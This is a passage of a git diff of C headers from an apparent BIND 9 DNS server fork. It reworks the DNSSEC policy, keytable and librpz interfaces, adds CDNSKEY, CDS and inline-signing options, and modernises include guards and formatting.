@@ -60,8 +67,8 @@ struct dns_kasp_nsec3param {
 /* Stores a DNSSEC policy */
 struct dns_kasp {
 	unsigned int magic;
-	isc_mem_t *  mctx;
-	char *	     name;
+	isc_mem_t   *mctx;
+	char	    *name;
 
 	/* Internals. */
 	isc_mutex_t lock;
@@ -79,8 +86,10 @@ struct dns_kasp {
 	uint32_t signatures_validity_dnskey;
 
 	/* Configuration: Keys */
-	dns_kasp_keylist_t keys;
-	dns_ttl_t	   dnskey_ttl;
+	bool		      cdnskey;
+	dns_kasp_digestlist_t digests;
+	dns_kasp_keylist_t    keys;
+	dns_ttl_t	      dnskey_ttl;
 
 	/* Configuration: Denial of existence */
 	bool		      nsec3;
@@ -94,6 +103,7 @@ struct dns_kasp {
 	/* Zone settings */
 	dns_ttl_t zone_max_ttl;
 	uint32_t  zone_propagation_delay;
+	bool	  inline_signing;
 
 	/* Parent settings */
 	dns_ttl_t parent_ds_ttl;
@@ -104,17 +114,17 @@ struct dns_kasp {
 #define DNS_KASP_VALID(kasp) ISC_MAGIC_VALID(kasp, DNS_KASP_MAGIC)
 
 /* Defaults */
-#define DNS_KASP_SIG_REFRESH	     (86400 * 5)
-#define DNS_KASP_SIG_VALIDITY	     (86400 * 14)
-#define DNS_KASP_SIG_VALIDITY_DNSKEY (86400 * 14)
-#define DNS_KASP_KEY_TTL	     (3600)
-#define DNS_KASP_DS_TTL		     (86400)
-#define DNS_KASP_PUBLISH_SAFETY	     (3600)
-#define DNS_KASP_PURGE_KEYS	     (86400 * 90)
-#define DNS_KASP_RETIRE_SAFETY	     (3600)
-#define DNS_KASP_ZONE_MAXTTL	     (86400)
-#define DNS_KASP_ZONE_PROPDELAY	     (300)
-#define DNS_KASP_PARENT_PROPDELAY    (3600)
+#define DNS_KASP_SIG_REFRESH	     "P5D"
+#define DNS_KASP_SIG_VALIDITY	     "P14D"
+#define DNS_KASP_SIG_VALIDITY_DNSKEY "P14D"
+#define DNS_KASP_KEY_TTL	     "3600"
+#define DNS_KASP_DS_TTL		     "86400"
+#define DNS_KASP_PUBLISH_SAFETY	     "3600"
+#define DNS_KASP_PURGE_KEYS	     "P90D"
+#define DNS_KASP_RETIRE_SAFETY	     "3600"
+#define DNS_KASP_ZONE_MAXTTL	     "86400"
+#define DNS_KASP_ZONE_PROPDELAY	     "300"
+#define DNS_KASP_PARENT_PROPDELAY    "3600"
 
 /* Key roles */
 #define DNS_KASP_KEY_ROLE_KSK 0x01
@@ -380,10 +390,36 @@ dns_kasp_setretiresafety(dns_kasp_t *kasp, uint32_t value);
  *\li   'kasp' is a valid, thawed kasp.
  */
 
+bool
+dns_kasp_inlinesigning(dns_kasp_t *kasp);
+/*%<
+ * Should we use inline-signing for this DNSSEC policy?
+ *
+ * Requires:
+ *
+ *\li   'kasp' is a valid, frozen kasp.
+ *
+ * Returns:
+ *
+ *\li   true or false.
+ */
+
+void
+dns_kasp_setinlinesigning(dns_kasp_t *kasp, bool value);
+/*%<
+ * Set inline-signing.
+ *
+ * Requires:
+ *
+ *\li   'kasp' is a valid, thawed kasp.
+ */
+
 dns_ttl_t
-dns_kasp_zonemaxttl(dns_kasp_t *kasp);
+dns_kasp_zonemaxttl(dns_kasp_t *kasp, bool fallback);
 /*%<
- * Get maximum zone TTL.
+ * Get maximum zone TTL. If 'fallback' is true, return a default maximum TTL
+ * if the maximum zone TTL is set to unlimited (value 0). Fallback should be
+ * used if determining key rollover timings in keymgr.c
  *
  * Requires:
  *
@@ -710,6 +746,55 @@ dns_kasp_setnsec3param(dns_kasp_t *kasp, uint8_t iter, bool optout,
  *
  */
 
-ISC_LANG_ENDDECLS
+bool
+dns_kasp_cdnskey(dns_kasp_t *kasp);
+/*%<
+ * Do we need to publish a CDNSKEY?
+ *
+ * Requires:
+ *
+ *\li  'kasp' is a valid, frozen kasp.
+ *
+ */
 
-#endif /* DNS_KASP_H */
+void
+dns_kasp_setcdnskey(dns_kasp_t *kasp, bool cdnskey);
+/*%<
+ * Set to enable publication of CDNSKEY records.
+ *
+ * Requires:
+ *
+ *\li  'kasp' is a valid, unfrozen kasp.
+ *
+ */
+
+dns_kasp_digestlist_t
+dns_kasp_digests(dns_kasp_t *kasp);
+/*%<
+ * Get the list of kasp CDS digest types. This determines which CDS records
+ * should be published.
+ *
+ * Requires:
+ *
+ *\li   'kasp' is a valid, frozen kasp.
+ *
+ * Returns:
+ *
+ *\li  #ISC_R_SUCCESS
+ *\li  #ISC_R_NOMEMORY
+ *
+ *\li  Other errors are possible.
+ */
+
+void
+dns_kasp_adddigest(dns_kasp_t *kasp, dns_dsdigest_t alg);
+/*%<
+ * Add a CDS digest type, this will enable publication of a CDS record with
+ * digest type 'alg'.
+ *
+ * Requires:
+ *
+ *\li   'kasp' is a valid, thawed kasp.
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/keydata.h b/lib/dns/include/dns/keydata.h
index 7fbac38639..fba86d4b37 100644
--- a/lib/dns/include/dns/keydata.h
+++ b/lib/dns/include/dns/keydata.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_KEYDATA_H
-#define DNS_KEYDATA_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -45,5 +46,3 @@ dns_keydata_fromdnskey(dns_rdata_keydata_t *keydata, dns_rdata_dnskey_t *dnskey,
 		       isc_mem_t *mctx);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_KEYDATA_H */
diff --git a/lib/dns/include/dns/keyflags.h b/lib/dns/include/dns/keyflags.h
index e0a6b4e89d..51f6cee335 100644
--- a/lib/dns/include/dns/keyflags.h
+++ b/lib/dns/include/dns/keyflags.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_KEYFLAGS_H
-#define DNS_KEYFLAGS_H 1
+#pragma once
 
 /*! \file dns/keyflags.h */
 
@@ -42,5 +43,3 @@ dns_keyflags_fromtext(dns_keyflags_t *flagsp, isc_textregion_t *source);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_KEYFLAGS_H */
diff --git a/lib/dns/include/dns/keymgr.h b/lib/dns/include/dns/keymgr.h
index ae4ab5da13..bf08fbb549 100644
--- a/lib/dns/include/dns/keymgr.h
+++ b/lib/dns/include/dns/keymgr.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_KEYMGR_H
-#define DNS_KEYMGR_H 1
+#pragma once
 
 /*! \file dns/keymgr.h */
 
@@ -128,5 +129,3 @@ dns_keymgr_status(dns_kasp_t *kasp, dns_dnsseckeylist_t *keyring,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_KEYMGR_H */
diff --git a/lib/dns/include/dns/keytable.h b/lib/dns/include/dns/keytable.h
index dbb4f01a78..b407cf2552 100644
--- a/lib/dns/include/dns/keytable.h
+++ b/lib/dns/include/dns/keytable.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_KEYTABLE_H
-#define DNS_KEYTABLE_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -48,64 +49,23 @@
 
 ISC_LANG_BEGINDECLS
 
-isc_result_t
-dns_keytable_create(isc_mem_t *mctx, dns_keytable_t **keytablep);
-/*%<
- * Create a keytable.
- *
- * Requires:
- *
- *\li	'mctx' is a valid memory context.
- *
- *\li	keytablep != NULL && *keytablep == NULL
- *
- * Ensures:
- *
- *\li	On success, *keytablep is a valid, empty key table.
- *
- * Returns:
- *
- *\li	ISC_R_SUCCESS
- *
- *\li	Any other result indicates failure.
- */
-
-void
-dns_keytable_attach(dns_keytable_t *source, dns_keytable_t **targetp);
-/*%<
- * Attach *targetp to source.
- *
- * Requires:
- *
- *\li	'source' is a valid keytable.
- *
- *\li	'targetp' points to a NULL dns_keytable_t *.
- *
- * Ensures:
- *
- *\li	*targetp is attached to source.
- */
+typedef void (*dns_keytable_callback_t)(const dns_name_t *name, void *fn_arg);
 
 void
-dns_keytable_detach(dns_keytable_t **keytablep);
+dns_keytable_create(dns_view_t *view, dns_keytable_t **keytablep);
 /*%<
- * Detach *keytablep from its keytable.
+ * Create a keytable.
  *
  * Requires:
  *
- *\li	'keytablep' points to a valid keytable.
- *
- * Ensures:
- *
- *\li	*keytablep is NULL.
- *
- *\li	If '*keytablep' is the last reference to the keytable,
- *		all resources used by the keytable will be freed
+ *\li	'view' is a valid memory context.
+ *\li	keytablep != NULL && *keytablep == NULL
  */
 
 isc_result_t
 dns_keytable_add(dns_keytable_t *keytable, bool managed, bool initial,
-		 dns_name_t *name, dns_rdata_ds_t *ds);
+		 dns_name_t *name, dns_rdata_ds_t *ds,
+		 dns_keytable_callback_t callback, void *callback_arg);
 /*%<
  * Add a key to 'keytable'. The keynode associated with 'name'
  * is updated with the DS specified in 'ds'.
@@ -166,7 +126,8 @@ dns_keytable_marksecure(dns_keytable_t *keytable, const dns_name_t *name);
  */
 
 isc_result_t
-dns_keytable_delete(dns_keytable_t *keytable, const dns_name_t *keyname);
+dns_keytable_delete(dns_keytable_t *keytable, const dns_name_t *keyname,
+		    dns_keytable_callback_t callback, void *callback_arg);
 /*%<
  * Delete all trust anchors from 'keytable' matching name 'keyname'
  *
@@ -247,20 +208,6 @@ dns_keytable_finddeepestmatch(dns_keytable_t *keytable, const dns_name_t *name,
  *\li	Any other result indicates an error.
  */
 
-void
-dns_keytable_detachkeynode(dns_keytable_t *keytable, dns_keynode_t **keynodep);
-/*%<
- * Detach a keynode found via dns_keytable_find().
- *
- * Requires:
- *
- *\li	*keynodep is a valid keynode returned by a call to dns_keytable_find().
- *
- * Ensures:
- *
- *\li	*keynodep == NULL
- */
-
 isc_result_t
 dns_keytable_issecuredomain(dns_keytable_t *keytable, const dns_name_t *name,
 			    dns_name_t *foundname, bool *wantdnssecp);
@@ -338,11 +285,15 @@ dns_keynode_trust(dns_keynode_t *keynode);
  * trusted: no longer an initializing key.
  */
 
-isc_result_t
+void
 dns_keytable_forall(dns_keytable_t *keytable,
 		    void (*func)(dns_keytable_t *, dns_keynode_t *,
 				 dns_name_t *, void *),
 		    void *arg);
-ISC_LANG_ENDDECLS
+/*%<
+ * Call 'func' on each keynode in 'keytable'.
+ */
 
-#endif /* DNS_KEYTABLE_H */
+ISC_REFCOUNT_DECL(dns_keytable);
+ISC_REFCOUNT_DECL(dns_keynode);
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/keyvalues.h b/lib/dns/include/dns/keyvalues.h
index 551c1aac54..5df8a4c898 100644
--- a/lib/dns/include/dns/keyvalues.h
+++ b/lib/dns/include/dns/keyvalues.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_KEYVALUES_H
-#define DNS_KEYVALUES_H 1
+#pragma once
 
 /*! \file dns/keyvalues.h */
 
@@ -51,28 +52,29 @@
 #define DNS_KEYFLAG_RESERVEDMASK2 0xFFFF /*%< no bits defined here */
 
 /* The Algorithm field of the KEY and SIG RR's is an integer, {1..254} */
-#define DNS_KEYALG_RSAMD5	1 /*%< RSA with MD5 */
-#define DNS_KEYALG_RSA		1 /*%< Used just for tagging */
-#define DNS_KEYALG_DH		2 /*%< Diffie Hellman KEY */
-#define DNS_KEYALG_DSA		3 /*%< DSA KEY */
-#define DNS_KEYALG_NSEC3DSA	6
-#define DNS_KEYALG_DSS		DNS_ALG_DSA
-#define DNS_KEYALG_ECC		4
-#define DNS_KEYALG_RSASHA1	5
-#define DNS_KEYALG_NSEC3RSASHA1 7
-#define DNS_KEYALG_RSASHA256	8
-#define DNS_KEYALG_RSASHA512	10
-#define DNS_KEYALG_ECCGOST	12
-#define DNS_KEYALG_ECDSA256	13
-#define DNS_KEYALG_ECDSA384	14
-#define DNS_KEYALG_ED25519	15
-#define DNS_KEYALG_ED448	16
-#define DNS_KEYALG_FALCON512	249
-#define DNS_KEYALG_DILITHIUM2	250
+#define DNS_KEYALG_RSAMD5	 	1 /*%< RSA with MD5 */
+#define DNS_KEYALG_RSA		 	1 /*%< Used just for tagging */
+#define DNS_KEYALG_DH_DEPRECATED 	2 /*%< deprecated */
+#define DNS_KEYALG_DSA		 	3 /*%< DSA KEY */
+#define DNS_KEYALG_NSEC3DSA	 	6
+#define DNS_KEYALG_DSS		 	DNS_ALG_DSA
+#define DNS_KEYALG_ECC		 	4
+#define DNS_KEYALG_RSASHA1	 	5
+#define DNS_KEYALG_NSEC3RSASHA1	 	7
+#define DNS_KEYALG_RSASHA256	 	8
+#define DNS_KEYALG_RSASHA512	 	10
+#define DNS_KEYALG_ECCGOST	 	12
+#define DNS_KEYALG_ECDSA256	 	13
+#define DNS_KEYALG_ECDSA384	 	14
+#define DNS_KEYALG_ED25519	 	15
+#define DNS_KEYALG_ED448	 	16
+#define DNS_KEYALG_FALCON512		249
+#define DNS_KEYALG_DILITHIUM2		250
 #define DNS_KEYALG_SPHINCSSHA256128S	251
-#define DNS_KEYALG_INDIRECT	252
-#define DNS_KEYALG_PRIVATEDNS	253
-#define DNS_KEYALG_PRIVATEOID	254 /*%< Key begins with OID giving alg */
+#define DNS_KEYALG_INDIRECT	 	252
+#define DNS_KEYALG_PRIVATEDNS	 	253
+#define DNS_KEYALG_PRIVATEOID	 	254 /*%< Key begins with OID giving alg */
+#define DNS_KEYALG_MAX		 	255
 
 /* Protocol values  */
 #define DNS_KEYPROTO_RESERVED 0
@@ -112,4 +114,3 @@
 
 #define DNS_SIG_SPHINCSSHA256128SSIZE 7856
 #define DNS_KEY_SPHINCSSHA256128SSIZE 32 
-#endif /* DNS_KEYVALUES_H */
diff --git a/lib/dns/include/dns/lib.h b/lib/dns/include/dns/lib.h
deleted file mode 100644
index f937e8551c..0000000000
--- a/lib/dns/include/dns/lib.h
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DNS_LIB_H
-#define DNS_LIB_H 1
-
-/*! \file dns/lib.h */
-
-#include <isc/lang.h>
-#include <isc/types.h>
-
-ISC_LANG_BEGINDECLS
-
-/*%
- * Tuning: external query load in packets per seconds.
- */
-LIBDNS_EXTERNAL_DATA extern unsigned int dns_pps;
-
-isc_result_t
-dns_lib_init(void);
-/*%<
- * A set of initialization procedures used in the DNS library.  This function
- * is provided for an application that is not aware of the underlying ISC or
- * DNS libraries much.
- */
-
-void
-dns_lib_shutdown(void);
-/*%<
- * Free temporary resources allocated in dns_lib_init().
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* DNS_LIB_H */
diff --git a/lib/dns/include/dns/librpz.h b/lib/dns/include/dns/librpz.h
index 47793c63d6..e971ab027d 100644
--- a/lib/dns/include/dns/librpz.h
+++ b/lib/dns/include/dns/librpz.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -32,16 +34,14 @@
  * version 1.2.12
  */
 
-#ifndef LIBRPZ_H
-#define LIBRPZ_H
+#pragma once
 
+#include <arpa/nameser.h>
 #include <inttypes.h>
+#include <netinet/in.h>
 #include <stdarg.h>
 #include <stdbool.h>
 #include <stdio.h>
-
-#include <arpa/nameser.h>
-#include <netinet/in.h>
 #include <sys/types.h>
 
 /*
@@ -55,6 +55,8 @@
 #define LIBDEF_F(f)
 #endif /* ifdef LIBRPZ_INTERNAL */
 
+#define LIBRPZ_MAXDOMAIN 255
+
 /*
  * Response Policy Zone triggers.
  *	Comparisons of trigger precedences require
@@ -125,7 +127,7 @@ typedef struct librpz_prefix {
 typedef uint8_t librpz_dsize_t;
 typedef struct librpz_domain {
 	librpz_dsize_t size; /* of only .d */
-	uint8_t	       d[0]; /* variable length wire format */
+	uint8_t	       d[];  /* variable length wire format */
 } librpz_domain_t;
 
 /*
@@ -133,7 +135,7 @@ typedef struct librpz_domain {
  */
 typedef struct librpz_domain_buf {
 	librpz_dsize_t size;
-	uint8_t	       d[NS_MAXCDNAME];
+	uint8_t	       d[LIBRPZ_MAXDOMAIN];
 } librpz_domain_buf_t;
 
 /*
@@ -145,7 +147,7 @@ typedef struct {
 	uint16_t class;	   /* network byte order */
 	uint32_t ttl;	   /* network byte order */
 	uint16_t rdlength; /* network byte order */
-	uint8_t	 rdata[0]; /* variable length */
+	uint8_t	 rdata[];  /* variable length */
 } librpz_rr_t;
 
 /*
@@ -169,8 +171,7 @@ typedef struct librpz_result {
 	librpz_dznum_t	   dznum;   /* dnsrpzd zone number */
 	librpz_cznum_t	   cznum;   /* librpz client zone number */
 	librpz_trig_t	   trig : LIBRPZ_TRIG_SIZE;
-	bool		   log : 1; /* log rewrite given librpz_log_level
-				     * */
+	bool		   log : 1; /* log rewrite at given log level */
 } librpz_result_t;
 
 /**
@@ -214,7 +215,7 @@ typedef struct {
 } librpz_emsg_t;
 
 #ifdef LIBRPZ_HAVE_ATTR
-#define LIBRPZ_UNUSED	__attribute__((unused))
+#define LIBRPZ_UNUSED	ISC_ATTR_UNUSED
 #define LIBRPZ_PF(f, l) __attribute__((format(printf, f, l)))
 #define LIBRPZ_NORET	__attribute__((__noreturn__))
 #else /* ifdef LIBRPZ_HAVE_ATTR */
@@ -223,25 +224,18 @@ typedef struct {
 #define LIBRPZ_NORET
 #endif /* ifdef LIBRPZ_HAVE_ATTR */
 
-#ifdef HAVE_BUILTIN_EXPECT
-#define LIBRPZ_LIKELY(c)   __builtin_expect(!!(c), 1)
-#define LIBRPZ_UNLIKELY(c) __builtin_expect(!!(c), 0)
-#else /* ifdef HAVE_BUILTIN_EXPECT */
-#define LIBRPZ_LIKELY(c)   (c)
-#define LIBRPZ_UNLIKELY(c) (c)
-#endif /* ifdef HAVE_BUILTIN_EXPECT */
-
 typedef bool(librpz_parse_log_opt_t)(librpz_emsg_t *emsg, const char *arg);
 LIBDEF_F(parse_log_opt)
 
-typedef void(librpz_vpemsg_t)(librpz_emsg_t *emsg, const char *p, va_list args);
+typedef void(librpz_vpemsg_t)(librpz_emsg_t *emsg, const char *p, va_list args)
+	LIBRPZ_PF(2, 0);
 LIBDEF_F(vpemsg)
 typedef void(librpz_pemsg_t)(librpz_emsg_t *emsg, const char *p, ...)
 	LIBRPZ_PF(2, 3);
 LIBDEF_F(pemsg)
 
 typedef void(librpz_vlog_t)(librpz_log_level_t level, void *ctx, const char *p,
-			    va_list args);
+			    va_list args) LIBRPZ_PF(3, 0);
 LIBDEF_F(vlog)
 typedef void(librpz_log_t)(librpz_log_level_t level, void *ctx, const char *p,
 			   ...) LIBRPZ_PF(3, 4);
@@ -251,10 +245,10 @@ typedef void(librpz_fatal_t)(int ex_code, const char *p, ...) LIBRPZ_PF(2, 3);
 extern void
 librpz_fatal(int ex_code, const char *p, ...) LIBRPZ_PF(2, 3) LIBRPZ_NORET;
 
-typedef void(librpz_rpz_assert_t)(const char *file, unsigned line,
+typedef void(librpz_rpz_assert_t)(const char *file, unsigned int line,
 				  const char *p, ...) LIBRPZ_PF(3, 4);
 extern void
-librpz_rpz_assert(const char *file, unsigned line, const char *p, ...)
+librpz_rpz_assert(const char *file, unsigned int line, const char *p, ...)
 	LIBRPZ_PF(3, 4) LIBRPZ_NORET;
 
 typedef void(librpz_rpz_vassert_t)(const char *file, uint line, const char *p,
@@ -373,7 +367,7 @@ typedef struct librpz_client librpz_client_t;
  * @param mutex: pointer to the lock for the client handle
  * @param log_ctx: NULL or resolver's context log messages
  */
-typedef librpz_clist_t *(librpz_clist_create_t)(librpz_emsg_t * emsg,
+typedef librpz_clist_t *(librpz_clist_create_t)(librpz_emsg_t  *emsg,
 						librpz_mutex_t *lock,
 						librpz_mutex_t *unlock,
 						librpz_mutex_t *mutex_destroy,
@@ -394,9 +388,9 @@ LIBDEF_F(clist_detach)
  * @param use_expired: true to not ignore expired zones
  * @return client handle or NULL if the handle could not be created
  */
-typedef librpz_client_t *(librpz_client_create_t)(librpz_emsg_t * emsg,
+typedef librpz_client_t *(librpz_client_create_t)(librpz_emsg_t	 *emsg,
 						  librpz_clist_t *clist,
-						  const char *	  cstr,
+						  const char	 *cstr,
 						  bool		  use_expired);
 LIBDEF_F(client_create)
 
@@ -493,9 +487,9 @@ LIBDEF_F(have_ns_trig)
  * @param[in,out] rsp state from librpz_itr_start()
  * @return false on error
  */
-typedef bool(librpz_rsp_clientip_prefix_t)(librpz_emsg_t *  emsg,
+typedef bool(librpz_rsp_clientip_prefix_t)(librpz_emsg_t   *emsg,
 					   librpz_prefix_t *prefix,
-					   librpz_rsp_t *   rsp);
+					   librpz_rsp_t	   *rsp);
 LIBDEF_F(rsp_clientip_prefix)
 
 /**
@@ -508,9 +502,9 @@ LIBDEF_F(rsp_clientip_prefix)
  * @param[in,out] rsp state from librpz_itr_start()
  * @return false on error
  */
-typedef bool(librpz_rsp_domain_t)(librpz_emsg_t *      emsg,
+typedef bool(librpz_rsp_domain_t)(librpz_emsg_t	      *emsg,
 				  librpz_domain_buf_t *owner,
-				  librpz_rsp_t *       rsp);
+				  librpz_rsp_t	      *rsp);
 LIBDEF_F(rsp_domain)
 
 /**
@@ -766,7 +760,7 @@ typedef socku_t *(librpz_mk_inet_su_t)(socku_t *su, const struct in_addr *addrp,
 				       in_port_t port);
 LIBDEF_F(mk_inet_su)
 
-typedef socku_t *(librpz_mk_inet6_su_t)(socku_t *	       su,
+typedef socku_t *(librpz_mk_inet6_su_t)(socku_t		      *su,
 					const struct in6_addr *addrp,
 					uint32_t scope_id, in_port_t port);
 LIBDEF_F(mk_inet6_su)
@@ -789,57 +783,57 @@ LIBDEF(const char *, librpz_dnsrpzd_path)
  * This is the dlopen() interface to librpz.
  */
 typedef const struct {
-	const char *			  dnsrpzd_path;
-	const char *			  version;
-	librpz_parse_log_opt_t *	  parse_log_opt;
-	librpz_log_level_val_t *	  log_level_val;
-	librpz_set_log_t *		  set_log;
-	librpz_vpemsg_t *		  vpemsg;
-	librpz_pemsg_t *		  pemsg;
-	librpz_vlog_t *			  vlog;
-	librpz_log_t *			  log;
+	const char			 *dnsrpzd_path;
+	const char			 *version;
+	librpz_parse_log_opt_t		 *parse_log_opt;
+	librpz_log_level_val_t		 *log_level_val;
+	librpz_set_log_t		 *set_log;
+	librpz_vpemsg_t			 *vpemsg;
+	librpz_pemsg_t			 *pemsg;
+	librpz_vlog_t			 *vlog;
+	librpz_log_t			 *log;
 	librpz_fatal_t *fatal		  LIBRPZ_NORET;
 	librpz_rpz_assert_t *rpz_assert	  LIBRPZ_NORET;
 	librpz_rpz_vassert_t *rpz_vassert LIBRPZ_NORET;
-	librpz_clist_create_t *		  clist_create;
-	librpz_clist_detach_t *		  clist_detach;
-	librpz_client_create_t *	  client_create;
-	librpz_connect_t *		  connect;
-	librpz_client_detach_t *	  client_detach;
-	librpz_rsp_create_t *		  rsp_create;
-	librpz_rsp_detach_t *		  rsp_detach;
-	librpz_rsp_result_t *		  rsp_result;
-	librpz_have_trig_t *		  have_trig;
-	librpz_have_ns_trig_t *		  have_ns_trig;
-	librpz_rsp_clientip_prefix_t *	  rsp_clientip_prefix;
-	librpz_rsp_domain_t *		  rsp_domain;
-	librpz_rsp_rr_t *		  rsp_rr;
-	librpz_rsp_soa_t *		  rsp_soa;
-	librpz_soa_serial_t *		  soa_serial;
-	librpz_rsp_push_t *		  rsp_push;
-	librpz_rsp_pop_t *		  rsp_pop;
-	librpz_rsp_pop_discard_t *	  rsp_pop_discard;
-	librpz_rsp_forget_zone_t *	  rsp_forget_zone;
-	librpz_ck_ip_t *		  ck_ip;
-	librpz_ck_domain_t *		  ck_domain;
-	librpz_zone_refresh_t *		  zone_refresh;
-	librpz_db_info_t *		  db_info;
-	librpz_itr_start_t *		  itr_start;
-	librpz_mf_stats_t *		  mf_stats;
-	librpz_vers_stats_t *		  vers_stats;
-	librpz_itr_zone_t *		  itr_zone;
-	librpz_itr_node_t *		  itr_node;
-	librpz_policy2str_t *		  policy2str;
-	librpz_trig2str_t *		  trig2str;
-	librpz_secs2str_t *		  secs2str;
-	librpz_str2secs_t *		  str2secs;
-	librpz_rtype2str_t *		  rtype2str;
-	librpz_domain_ntop_t *		  domain_ntop;
-	librpz_domain_pton2_t *		  domain_pton2;
-	librpz_mk_inet_su_t *		  mk_inet_su;
-	librpz_mk_inet6_su_t *		  mk_inet6_su;
-	librpz_str2su_t *		  str2su;
-	librpz_su2str_t *		  su2str;
+	librpz_clist_create_t		 *clist_create;
+	librpz_clist_detach_t		 *clist_detach;
+	librpz_client_create_t		 *client_create;
+	librpz_connect_t		 *connect;
+	librpz_client_detach_t		 *client_detach;
+	librpz_rsp_create_t		 *rsp_create;
+	librpz_rsp_detach_t		 *rsp_detach;
+	librpz_rsp_result_t		 *rsp_result;
+	librpz_have_trig_t		 *have_trig;
+	librpz_have_ns_trig_t		 *have_ns_trig;
+	librpz_rsp_clientip_prefix_t	 *rsp_clientip_prefix;
+	librpz_rsp_domain_t		 *rsp_domain;
+	librpz_rsp_rr_t			 *rsp_rr;
+	librpz_rsp_soa_t		 *rsp_soa;
+	librpz_soa_serial_t		 *soa_serial;
+	librpz_rsp_push_t		 *rsp_push;
+	librpz_rsp_pop_t		 *rsp_pop;
+	librpz_rsp_pop_discard_t	 *rsp_pop_discard;
+	librpz_rsp_forget_zone_t	 *rsp_forget_zone;
+	librpz_ck_ip_t			 *ck_ip;
+	librpz_ck_domain_t		 *ck_domain;
+	librpz_zone_refresh_t		 *zone_refresh;
+	librpz_db_info_t		 *db_info;
+	librpz_itr_start_t		 *itr_start;
+	librpz_mf_stats_t		 *mf_stats;
+	librpz_vers_stats_t		 *vers_stats;
+	librpz_itr_zone_t		 *itr_zone;
+	librpz_itr_node_t		 *itr_node;
+	librpz_policy2str_t		 *policy2str;
+	librpz_trig2str_t		 *trig2str;
+	librpz_secs2str_t		 *secs2str;
+	librpz_str2secs_t		 *str2secs;
+	librpz_rtype2str_t		 *rtype2str;
+	librpz_domain_ntop_t		 *domain_ntop;
+	librpz_domain_pton2_t		 *domain_pton2;
+	librpz_mk_inet_su_t		 *mk_inet_su;
+	librpz_mk_inet6_su_t		 *mk_inet6_su;
+	librpz_str2su_t			 *str2su;
+	librpz_su2str_t			 *su2str;
 } librpz_0_t;
 extern librpz_0_t librpz_def_0;
 
@@ -851,9 +845,9 @@ extern librpz_0_t librpz_def_0;
 #define LIBRPZ_DEF_STR "librpz_def_0"
 
 typedef librpz_0_t librpz_t;
-extern librpz_t *  librpz;
+extern librpz_t	  *librpz;
 
-#if LIBRPZ_LIB_OPEN == 2
+#if DNSRPS_LIB_OPEN == 2
 #include <dlfcn.h>
 
 /**
@@ -865,7 +859,7 @@ extern librpz_t *  librpz;
  */
 static inline librpz_t *
 librpz_lib_open(librpz_emsg_t *emsg, void **dl_handle, const char *path) {
-	void *	  handle;
+	void	 *handle;
 	librpz_t *new_librpz;
 
 	emsg->c[0] = '\0';
@@ -893,6 +887,7 @@ librpz_lib_open(librpz_emsg_t *emsg, void **dl_handle, const char *path) {
 		if (new_librpz != NULL) {
 			if (dl_handle != NULL) {
 				*dl_handle = handle;
+				handle = NULL;
 			}
 			return (new_librpz);
 		}
@@ -920,6 +915,7 @@ librpz_lib_open(librpz_emsg_t *emsg, void **dl_handle, const char *path) {
 	if (new_librpz != NULL) {
 		if (dl_handle != NULL) {
 			*dl_handle = handle;
+			handle = NULL;
 		}
 		return (new_librpz);
 	}
@@ -940,15 +936,13 @@ librpz_lib_open(librpz_emsg_t *emsg, void **dl_handle, const char *path) {
 		*dl_handle = NULL;
 	}
 
-#if LIBRPZ_LIB_OPEN == 1
+#if DNSRPS_LIB_OPEN == 1
 	emsg->c[0] = '\0';
